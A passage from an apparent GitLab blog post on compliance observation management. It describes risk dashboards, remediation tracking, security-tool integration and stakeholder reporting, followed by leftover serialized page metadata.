observations\n\nLeverage risk level labels to create dynamic visualizations of your organization's current risk exposure. This provides leadership with an immediate understanding of critical observations requiring urgent attention.\n\n**Strategic Resource Allocation:** Department-level risk distribution for targeted improvement efforts\n\nIdentify which departments are responsible for remediation of the highest-risk observations to prioritize resources, oversight, and projects. This data-driven approach ensures improvement efforts focus where they'll have maximum impact.\n\n**Compliance Readiness Monitoring:** Certification-specific observation counts and resolution rates\n\nUtilize certification labels to assess audit preparedness and track progress toward compliance goals. This metric provides early warning of potential certification risks and validates remediation efforts.\n\n**Accountability Tracking:** Overdue remediations \n\nMonitor SLA compliance to ensure observations receive timely attention. This metric highlights systemic delays and enables proactive intervention before minor issues become major problems.\n\n**Engagement Health Check:** Observation freshness\n\nTrack recent activity (updates within 30 days) to ensure observations remain actively managed rather than forgotten. This metric identifies stagnant issues that may require escalation or reassignment.\n\n## Advanced strategies: Taking observation management further\n\nHere's what you can do to deepen the impact of observation management in your organization.\n\n**Integrate with security tools** \n\nModern observation management extends beyond manual tracking by connecting with your existing security infrastructure. Organizations can configure vulnerability scanners and security monitoring tools to automatically generate observation issues, eliminating manual data entry and ensuring comprehensive coverage. \n\n**Apply predictive analytics** \n\nHistorical observation data becomes a powerful forecasting tool when properly analyzed. Organizations can leverage past remediation patterns to predict future timelines and resource requirements, enabling more accurate project planning and budget allocation. Pattern recognition in observation types reveals systemic vulnerabilities that warrant preventive controls, shifting focus from reactive to proactive risk management. Advanced implementations incorporate multiple data sources into sophisticated risk scoring algorithms that provide nuanced threat assessments and priority rankings.\n\n**Customize for stakeholders** \n\nEffective observation management recognizes that different roles require different perspectives on the same data. Role-based dashboards deliver tailored views for executives seeking high-level risk summaries, department managers tracking team performance, and individual contributors managing their assigned observations. Automated reporting systems can be configured to match various audience needs and communication preferences, from detailed technical reports to executive briefings. Self-service analytics capabilities empower stakeholders to conduct ad-hoc analysis and generate custom insights without requiring technical expertise or support.\n\n## Move from mere compliance to operational excellence\n\nGitLab's approach to observation management represents more than a tool change, it's a fundamental shift from reactive compliance to proactive risk mitigation. By breaking down silos between compliance teams and operational stakeholders, organizations achieve unprecedented visibility while dramatically improving remediation outcomes.\n\nThe results are measurable: faster resolution through transparent accountability, active stakeholder collaboration instead of reluctant participation, and continuous audit readiness rather than periodic scrambles. Automated workflows free compliance professionals for strategic work while rich data enables predictive analytics that shift focus from reactive firefighting to proactive prevention.\n\nMost importantly, this approach elevates compliance from burden to strategic enabler. When observations become visible, trackable work items integrated into operational workflows, organizations develop stronger security culture and lasting improvements that extend beyond any single audit cycle. The outcome isn't just regulatory compliance. It's organizational resilience and competitive advantage through superior risk management.\n\n> Want to learn more about GitLab's security compliance practices? Check out our [Security Compliance Handbook](https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/) for additional insights and implementation guidance.",[776,1173],"inside GitLab",{"featured":6,"template":798,"slug":1175},"how-to-transform-compliance-observation-management-with-gitlab",{"content":1177,"config":1180},{"title":829,"description":830,"authors":1178,"heroImage":833,"date":834,"body":835,"category":688,"tags":1179},[832],[745,684,766],{"featured":91,"template":798,"slug":838},[1182,1187,1192],{"config":1183,"content":1184},{"slug":985,"featured":91,"template":798},{"title":987,"description":988,"authors":1185,"tags":1186,"heroImage":992,"category":734,"date":834,"body":993},[990],[269,847,811],{"content":1188,"config":1191},{"title":841,"description":842,"authors":1189,"date":834,"body":845,"category":688,"tags":1190,"heroImage":848},[844],[684,718,766,810,847],{"featured":91,"template":798,"slug":850},{"content":1193,"config":1196},{"title":1103,"description":1104,"authors":1194,"heroImage":1106,"body":1107,"date":1108,"category":766,"tags":1195},[881],[1110],{"featured":6,"template":798,"externalUrl":1112,"slug":1113},[1198,1203,1208],{"config":1199,"content":1200},{"slug":1116,"featured":6,"template":798},{"title":1118,"description":1119,"authors":1201,"heroImage":1121,"date":1122,"category":766,"tags":1202,"body":1124},[1000],[766,810],{"content":1204,"config":1207},{"title":785,"description":786,"authors":1205,"date":791,"body":792,"category":677,"tags":1206,"heroImage":796},[788,789,790],[794,486,795],{"featured":6,"template":798,"slug":799},{"content":1209,"config":1212},{"title":853,"description":854,"authors":1210,"heroImage":857,"date":791,"body":858,"category":688,"tags":1211},[856],[766,684,486,810,776],{"featured":91,"template":798,"slug":861},1757003999648]